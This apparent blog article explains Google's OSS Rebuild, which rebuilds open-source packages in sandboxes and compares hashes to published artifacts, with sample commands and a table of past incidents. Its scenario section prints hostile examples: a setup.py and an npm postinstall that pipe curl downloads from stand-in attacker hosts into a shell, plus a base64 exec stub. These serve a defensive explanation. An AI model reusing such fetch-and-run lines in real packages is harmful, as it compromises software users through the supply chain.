How to Use Google’s OSS Rebuild: A New Open Source Software Supply Chain Security Tool

In a bold move to counter the growing number of open-source software supply chain attacks, Google has launched OSS Rebuild, a program designed to automatically rebuild OSS packages in isolated environments and compare the resulting binaries to those published on public registries.

By flagging any discrepancies, OSS Rebuild can uncover hidden malware, tampered builds, and post-audit backdoors — issues that have plagued package repositories like PyPI and npm in recent years. This initiative builds upon Google’s broader efforts with OpenSSF, SLSA, and Sigstore to make OSS secure by default.

What Is OSS Rebuild?

OSS Rebuild is a reproducibility verification framework that:

• Fetches source packages from OSS registries
• Rebuilds them in hermetic, sandboxed environments
• Compares the resulting binary artifacts to the originals
• Flags inconsistencies for investigation

This process allows detection of sophisticated attacks where the source code looks clean, but the distributed binary is altered — a hallmark of build-time supply chain attacks.

Why It Matters

Attackers are increasingly targeting open-source ecosystems through:

• Malicious build scripts
• Compiler-level logic bombs
• Hidden telemetry or credential theft in post-install hooks
• Typosquatted and hijacked repositories

Famous incidents like the XZ backdoor (2024) and event-stream hijack (npm) show how even high-trust packages can become Trojan horses.

How OSS Rebuild Works — With Technical Examples

Step 1: Fetching the Source Package

Example:

 Download official source from PyPI
pip download --no-binary :all: requests==2.31.0
tar -xvf requests-2.31.0.tar.gz

This ensures we’re using the canonical source that the maintainer uploaded.

Step 2: Hermetic Build Environment

Google performs rebuilds in sandboxed environments that remove build-time variability:

• No network access during build
• Fixed toolchains (e.g., GCC, Rustc)
• SLSA-compliant reproducibility

Example (Python setup.py build with controlled interpreter):

docker run --rm -v $PWD:/app python:3.11 \
  bash -c "cd /app && python setup.py bdist_wheel"

This rebuild produces a .whl (wheel) file for direct comparison.

Step 3: Hash Comparison

Google compares cryptographic digests of rebuilt artifacts with those in the registry:

# Hash of rebuilt package
sha256sum dist/requests-2.31.0-py3-none-any.whl
# Compare with hash of PyPI package
curl https://pypi.org/pypi/requests/2.31.0/json | jq '.releases["2.31.0"][0].digests.sha256'

If hashes match → Package integrity is confirmed
If mismatch → Possible tampering or non-reproducible build

Step 4: Flagging Anomalies

If OSS Rebuild identifies discrepancies, it automatically:

• Reports to repository maintainers
• Flags the package in public dashboards
• Notifies security partners and Google’s internal teams

Real Technical Scenarios OSS Rebuild Can Catch

Case 1: Malicious Code Injected at Build-Time

Scenario: A setup.py file downloads a second-stage payload only during wheel creation.

Code Snippet:

# setup.py
import os
from setuptools import setup

if "bdist_wheel" in os.sys.argv:
    os.system("curl http://evil[.]com/loader.py | python")

setup(name="my-pkg", version="1.0", ...)

OSS Rebuild blocks this by executing in network-less environments, so the malicious action fails and the binary hash diverges from the published one.

Case 2: PyPI Package Doesn’t Match Uploaded Source

Scenario: A benign requests.py source is uploaded, but the compiled .whl includes a base64-encoded keylogger.

Malicious File Added in Final .whl:

# hidden.py
import base64
exec(base64.b64decode('aW1wb3J0IHRpbWUsIGtleWJvYXJk...'))

This file isn’t in the source repo, so OSS Rebuild detects this mismatch.

Case 3: NPM Logic Bomb Hidden in postinstall

Scenario: In an npm package package.json:

"scripts": {
  "postinstall": "node ./scripts/init.js"
}

And in scripts/init.js:

const { exec } = require("child_process");
exec("curl http://malicious.site/malware.sh | sh");

Rebuilds ignore postinstall hooks unless explicitly enabled in the secure sandbox, revealing behavioral differences between source and release.

Broader Impact on Software Supply Chain Security Related Incidents OSS Rebuild Would Have Flagged:

Incident	Attack Vector	Would OSS Rebuild Have Detected?
XZ Utils Backdoor (2024)	Compiler-level insertion	Yes (via build-time analysis)
event-stream (npm)	Dependency hijacking	Partial (on reproducible diff)
ctx Python Package	Typosquatted malicious repo	Possibly (based on repo link)

Developer & Security Takeaways

For Developers:

• Choose packages with reproducible build history
• Monitor OSS Rebuild dashboards for verified packages
• Avoid dependencies that require non-deterministic build steps

For Security Teams:

• Use OSS Rebuild as part of software SBOM verification
• Integrate findings into CI/CD gating
• Leverage SLSA and Sigstore for build transparency